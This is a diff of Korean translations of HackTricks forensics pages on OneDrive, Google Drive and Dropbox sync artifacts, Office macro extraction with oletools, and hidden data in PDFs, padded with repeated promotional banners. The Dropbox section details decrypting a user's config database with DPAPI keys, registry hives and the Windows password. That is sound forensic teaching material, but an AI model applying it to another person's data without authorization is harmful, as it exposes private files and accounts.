@ -197,8 +197,8 @@ Opera 데이터는 `/Users/$USER/Library/Application Support/com.operasoftware.O
|
|||
HackTricks를 지원하는 다른 방법:
|
||||
* **HackTricks**에서 귀하의 **회사 광고를 보고 싶거나** **PDF 형식의 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* [**PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
|
||||
* **해킹 요령을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks 다운로드**를 원한다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
|
@ -14,7 +14,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
|
@ -24,7 +24,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
## OneDrive
|
||||
|
||||
Windows에서 OneDrive 폴더는 `\Users\<username>\AppData\Local\Microsoft\OneDrive`에 있습니다. 그리고 `logs\Personal` 폴더 안에 `SyncDiagnostics.log` 파일을 찾을 수 있으며, 이 파일에는 동기화된 파일에 관한 흥미로운 데이터가 포함되어 있습니다:
|
||||
Windows에서 OneDrive 폴더는 `\Users\<username>\AppData\Local\Microsoft\OneDrive`에 있습니다. 그리고 `logs\Personal` 폴더 안에 있는 `SyncDiagnostics.log` 파일에서 동기화된 파일에 관한 흥미로운 데이터를 찾을 수 있습니다:
|
||||
|
||||
* 바이트 단위의 크기
|
||||
* 생성 날짜
|
||||
|
@ -35,14 +35,14 @@ Windows에서 OneDrive 폴더는 `\Users\<username>\AppData\Local\Microsoft\OneD
|
|||
* 보고서 생성 시간
|
||||
* OS의 HD 크기
|
||||
|
||||
CID를 찾았다면 **이 ID를 포함하는 파일을 검색**하는 것이 좋습니다. OneDrive와 동기화된 파일의 이름을 포함하는 _**\<CID>.ini**_ 및 _**\<CID>.dat**_ 파일을 찾을 수 있으며, 이 파일에는 OneDrive와 동기화된 파일의 이름과 같은 흥미로운 정보가 포함될 수 있습니다.
|
||||
CID를 찾으면 **이 ID를 포함하는 파일을 검색**하는 것이 좋습니다. OneDrive와 동기화된 파일의 이름을 포함할 수 있는 _**\<CID>.ini**_ 및 _**\<CID>.dat**_와 같은 파일을 찾을 수 있습니다.
|
||||
|
||||
## Google Drive
|
||||
|
||||
Windows에서 주요 Google Drive 폴더는 `\Users\<username>\AppData\Local\Google\Drive\user_default`에 있습니다.\
|
||||
이 폴더에는 Sync\_log.log라는 파일이 포함되어 있으며, 해당 파일에는 계정의 이메일 주소, 파일 이름, 타임스탬프, 파일의 MD5 해시 등과 같은 정보가 포함되어 있습니다. 심지어 삭제된 파일도 해당 로그 파일에 해당 MD5와 함께 나타납니다.
|
||||
이 폴더에는 Sync\_log.log라는 파일이 포함되어 있으며 해당 파일에는 계정의 이메일 주소, 파일 이름, 타임스탬프, 파일의 MD5 해시 등과 같은 정보가 포함되어 있습니다. 심지어 삭제된 파일도 해당 로그 파일에 해당하는 MD5와 함께 나타납니다.
|
||||
|
||||
파일 **`Cloud_graph\Cloud_graph.db`**는 **`cloud_graph_entry`** 테이블을 포함하는 sqlite 데이터베이스이며, 이 테이블에서 **동기화된 파일의 이름**, 수정된 시간, 크기 및 파일의 MD5 체크섬을 찾을 수 있습니다.
|
||||
파일 **`Cloud_graph\Cloud_graph.db`**는 **`cloud_graph_entry`** 테이블을 포함하는 sqlite 데이터베이스이며, 이 테이블에서 **동기화된 파일의 이름**, 수정 시간, 크기 및 파일의 MD5 체크섬을 찾을 수 있습니다.
|
||||
|
||||
데이터베이스 **`Sync_config.db`**의 테이블 데이터에는 계정의 이메일 주소, 공유 폴더의 경로 및 Google Drive 버전이 포함되어 있습니다.
|
||||
|
||||
|
@ -75,16 +75,16 @@ Dropbox가 사용하는 암호화를 더 잘 이해하려면 [https://blog.digit
|
|||
|
||||
해당 정보 외에도 데이터베이스를 복호화하려면 다음이 필요합니다:
|
||||
|
||||
* **암호화된 DPAPI 키**: 이진으로 내보낸 `NTUSER.DAT\Software\Dropbox\ks\client` 레지스트리에서 찾을 수 있습니다.
|
||||
* **암호화된 DPAPI 키**: 이진 형식으로 `NTUSER.DAT\Software\Dropbox\ks\client` 레지스트리 내에서 찾을 수 있습니다 (이 데이터를 내보내기)
|
||||
* **`SYSTEM`** 및 **`SECURITY`** 하이브
|
||||
* **DPAPI 마스터 키**: `\Users\<username>\AppData\Roaming\Microsoft\Protect`에서 찾을 수 있습니다.
|
||||
* **DPAPI 마스터 키**: `\Users\<username>\AppData\Roaming\Microsoft\Protect`에서 찾을 수 있습니다
|
||||
* Windows 사용자의 **사용자 이름** 및 **암호**
|
||||
|
||||
그런 다음 [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html) 도구를 사용할 수 있습니다:
|
||||
|
||||
![](<../../../.gitbook/assets/image (448).png>)
|
||||
|
||||
모든 것이 예상대로 진행되면, 도구는 **복구할 원본 키**를 나타내는 **기본 키**를 알려줍니다. 원본 키를 복구하려면 이 [cyber\_chef 레시피](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)에 기본 키를 "passphrase"로 넣으면 됩니다.
|
||||
모든 것이 예상대로 진행되면, 도구는 **복구할 원본 키**를 나타내는 **기본 키**를 알려줍니다. 원본 키를 복구하려면 이 [cyber\_chef 레시피](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)에 기본 키를 "passphrase"로 넣어 사용하면 됩니다.
|
||||
|
||||
결과 hex는 데이터베이스를 복호화하는 데 사용되는 최종 키이며 다음과 같이 복호화할 수 있습니다:
|
||||
```bash
|
||||
|
@ -92,23 +92,45 @@ sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the con
|
|||
```
|
||||
**`config.dbx`** 데이터베이스에는 다음이 포함되어 있습니다:
|
||||
|
||||
- **이메일**: 사용자의 이메일
|
||||
- **usernamedisplayname**: 사용자의 이름
|
||||
- **dropbox\_path**: 드롭박스 폴더가 위치한 경로
|
||||
- **Host\_id**: 클라우드에 인증하는 데 사용되는 해시. 웹에서만 취소할 수 있습니다.
|
||||
- **Root\_ns**: 사용자 식별자
|
||||
* **이메일**: 사용자의 이메일
|
||||
* **usernamedisplayname**: 사용자의 이름
|
||||
* **dropbox\_path**: 드롭박스 폴더가 위치한 경로
|
||||
* **Host\_id: 클라우드에 인증하는 해시**. 이는 웹에서만 취소할 수 있습니다.
|
||||
* **Root\_ns**: 사용자 식별자
|
||||
|
||||
**`filecache.db`** 데이터베이스에는 드롭박스와 동기화된 모든 파일 및 폴더에 대한 정보가 포함되어 있습니다. `File_journal` 테이블에는 더 유용한 정보가 많이 있습니다:
|
||||
|
||||
- **Server\_path**: 서버 내 파일이 위치한 경로 (`host_id`가 클라이언트의 앞에 오는 경로입니다).
|
||||
- **local\_sjid**: 파일의 버전
|
||||
- **local\_mtime**: 수정 날짜
|
||||
- **local\_ctime**: 생성 날짜
|
||||
* **Server\_path**: 서버 내 파일이 위치한 경로 (이 경로는 클라이언트의 `host_id`로 선행됨).
|
||||
* **local\_sjid**: 파일의 버전
|
||||
* **local\_mtime**: 수정 날짜
|
||||
* **local\_ctime**: 생성 날짜
|
||||
|
||||
이 데이터베이스 내의 다른 테이블에는 더 흥미로운 정보가 포함되어 있습니다:
|
||||
|
||||
- **block\_cache**: 드롭박스의 모든 파일 및 폴더의 해시
|
||||
- **block\_ref**: `block_cache` 테이블의 해시 ID를 `file_journal` 테이블의 파일 ID와 관련시킴
|
||||
- **mount\_table**: 드롭박스의 공유 폴더
|
||||
- **deleted\_fields**: 드롭박스에서 삭제된 파일
|
||||
- **date\_added**
|
||||
* **block\_cache**: 드롭박스의 모든 파일 및 폴더의 해시
|
||||
* **block\_ref**: `block_cache` 테이블의 해시 ID를 `file_journal` 테이블의 파일 ID와 관련시킴
|
||||
* **mount\_table**: 드롭박스의 공유 폴더
|
||||
* **deleted\_fields**: 드롭박스에서 삭제된 파일
|
||||
* **date\_added**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 고급 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,57 +2,57 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배우세요!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
|
||||
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 기여하세요**.
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
더 많은 정보는 [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)에서 확인하세요. 이것은 간단한 요약입니다:
|
||||
|
||||
마이크로소프트는 많은 오피스 문서 형식을 만들었는데, 주요 유형은 **OLE 형식** (예: RTF, DOC, XLS, PPT)과 **Office Open XML (OOXML) 형식** (예: DOCX, XLSX, PPTX)이 있습니다. 이러한 형식에는 매크로가 포함될 수 있어서 피싱 및 악성 코드의 대상이 됩니다. OOXML 파일은 zip 컨테이너로 구조화되어 있어서 압축 해제를 통해 파일 및 폴더 계층 구조 및 XML 파일 내용을 확인할 수 있습니다.
|
||||
마이크로소프트는 많은 오피스 문서 형식을 만들었는데, 주요 유형은 **OLE 형식** (예: RTF, DOC, XLS, PPT)과 **Office Open XML (OOXML) 형식** (예: DOCX, XLSX, PPTX)이 있습니다. 이러한 형식에는 매크로가 포함될 수 있어서 피싱 및 악성 코드의 대상이 될 수 있습니다. OOXML 파일은 zip 컨테이너로 구조화되어 있어서 압축을 해제하여 파일 및 폴더 계층 구조 및 XML 파일 내용을 확인할 수 있습니다.
|
||||
|
||||
OOXML 파일 구조를 탐색하기 위해 문서를 압축 해제하는 명령어와 출력 구조가 제공됩니다. 이러한 파일에 데이터를 숨기는 기술이 문서화되어 있어서 CTF 도전 과제 내에서 데이터 숨김에 대한 지속적인 혁신을 나타냅니다.
|
||||
OOXML 파일 구조를 탐색하기 위해 문서를 압축 해제하는 명령어와 출력 구조가 제공됩니다. 이러한 파일에 데이터를 숨기는 기술이 문서화되어 있으며, CTF 도전 과제 내에서 데이터 숨김에 대한 지속적인 혁신을 나타냅니다.
|
||||
|
||||
분석을 위해 **oletools** 및 **OfficeDissector**는 OLE 및 OOXML 문서를 조사하기 위한 포괄적인 도구 세트를 제공합니다. 이 도구들은 포함된 매크로를 식별하고 분석하는 데 도움이 되며, 이러한 매크로는 주로 악성 코드 전달을 위한 벡터로 사용되어 일반적으로 추가 악성 페이로드를 다운로드하고 실행합니다. VBA 매크로의 분석은 Microsoft Office를 사용하지 않고 Libre Office를 활용하여 디버깅을 지원하며 중단점 및 감시 변수를 사용할 수 있습니다.
|
||||
분석을 위해 **oletools** 및 **OfficeDissector**는 OLE 및 OOXML 문서를 조사하기 위한 포괄적인 도구 세트를 제공합니다. 이 도구들은 포함된 매크로를 식별하고 분석하는 데 도움이 됩니다. 이러한 매크로는 주로 악성 코드 전달을 위한 벡터로 사용되며, 일반적으로 추가 악성 페이로드를 다운로드하고 실행합니다. VBA 매크로의 분석은 Microsoft Office를 사용하지 않고 Libre Office를 활용하여 디버깅을 할 수 있습니다. 이를 통해 중단점 및 감시 변수로 디버깅할 수 있습니다.
|
||||
|
||||
**oletools**의 설치 및 사용법은 간단하며, pip를 통해 설치하고 문서에서 매크로를 추출하는 명령어가 제공됩니다. `AutoOpen`, `AutoExec`, 또는 `Document_Open`과 같은 함수를 통해 매크로의 자동 실행이 트리거됩니다.
|
||||
```bash
|
||||
sudo pip3 install -U oletools
|
||||
olevba -c /path/to/document #Extract macros
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹을 배우세요**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 히어로까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나**트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,29 +2,29 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**를 활용한 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
|
||||
오늘 바로 액세스하세요:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
**자세한 내용은 여기를 확인하세요:** [**https://trailofbits.github.io/ctf/forensics/**](https://trailofbits.github.io/ctf/forensics/)
|
||||
|
||||
PDF 형식은 데이터를 숨기는 데 있어 복잡성과 잠재력으로 알려져 있어 CTF 포렌식 도전 과제의 중심이 됩니다. 이는 이진 객체와 함께 평문 요소를 결합하며, 압축되거나 암호화된 이진 객체를 포함할 수 있으며, JavaScript 또는 Flash와 같은 언어로 된 스크립트를 포함할 수 있습니다. PDF 구조를 이해하기 위해 Didier Stevens의 [입문 자료](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/)를 참조하거나 Origami와 같은 텍스트 편집기 또는 PDF 전용 편집기와 같은 도구를 사용할 수 있습니다.
|
||||
PDF 형식은 데이터를 숨기는 데 있어 복잡성과 잠재력으로 알려져 있어 CTF 포렌식 도전 과제의 중심이 됩니다. 이는 이진 객체와 함께 평문 요소를 결합하며, 압축되거나 암호화된 이진 객체를 포함할 수 있으며, JavaScript 또는 Flash와 같은 언어로 된 스크립트를 포함할 수 있습니다. PDF 구조를 이해하기 위해 Didier Stevens의 [입문 자료](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/)를 참조하거나 Origami와 같은 텍스트 편집기 또는 PDF 특정 편집기와 같은 도구를 사용할 수 있습니다.
|
||||
|
||||
PDF의 심층적인 탐색 또는 조작을 위해 [qpdf](https://github.com/qpdf/qpdf) 및 [Origami](https://github.com/mobmewireless/origami-pdf)와 같은 도구를 사용할 수 있습니다. PDF 내의 숨겨진 데이터는 다음 위치에 숨겨질 수 있습니다:
|
||||
|
||||
|
@ -35,18 +35,18 @@ PDF의 심층적인 탐색 또는 조작을 위해 [qpdf](https://github.com/qpd
|
|||
* 이미지 뒤에 있는 텍스트 또는 이미지와 겹치는 텍스트
|
||||
* 표시되지 않는 주석
|
||||
|
||||
사용자 정의 PDF 분석을 위해 [PeepDF](https://github.com/jesparza/peepdf)와 같은 Python 라이브러리를 사용하여 맞춤형 구문 분석 스크립트를 작성할 수 있습니다. 또한 PDF의 숨겨진 데이터 저장 가능성이 매우 크기 때문에 NSA의 PDF 위험 및 대책 가이드와 같은 자원은 원래 위치에서 더 이상 호스팅되지 않지만 가치 있는 통찰을 제공합니다. Ange Albertini의 [가이드 사본](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) 및 [PDF 형식 요령](https://github.com/corkami/docs/blob/master/PDF/PDF.md) 컬렉션은 해당 주제에 대한 추가 독서 자료를 제공할 수 있습니다.
|
||||
사용자 정의 PDF 분석을 위해 [PeepDF](https://github.com/jesparza/peepdf)와 같은 Python 라이브러리를 사용하여 맞춤형 구문 분석 스크립트를 작성할 수 있습니다. 또한 PDF의 숨겨진 데이터 저장 가능성이 매우 크기 때문에 PDF 위험 및 대책에 관한 NSA 가이드와 같은 리소스는 원래 위치에 더 이상 호스팅되지 않지만 가치 있는 통찰을 제공합니다. [가이드의 사본](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) 및 Ange Albertini의 [PDF 형식 트릭](https://github.com/corkami/docs/blob/master/PDF/PDF.md) 컬렉션은 해당 주제에 대한 추가 독서 자료를 제공할 수 있습니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF로 HackTricks 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,17 +6,17 @@
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
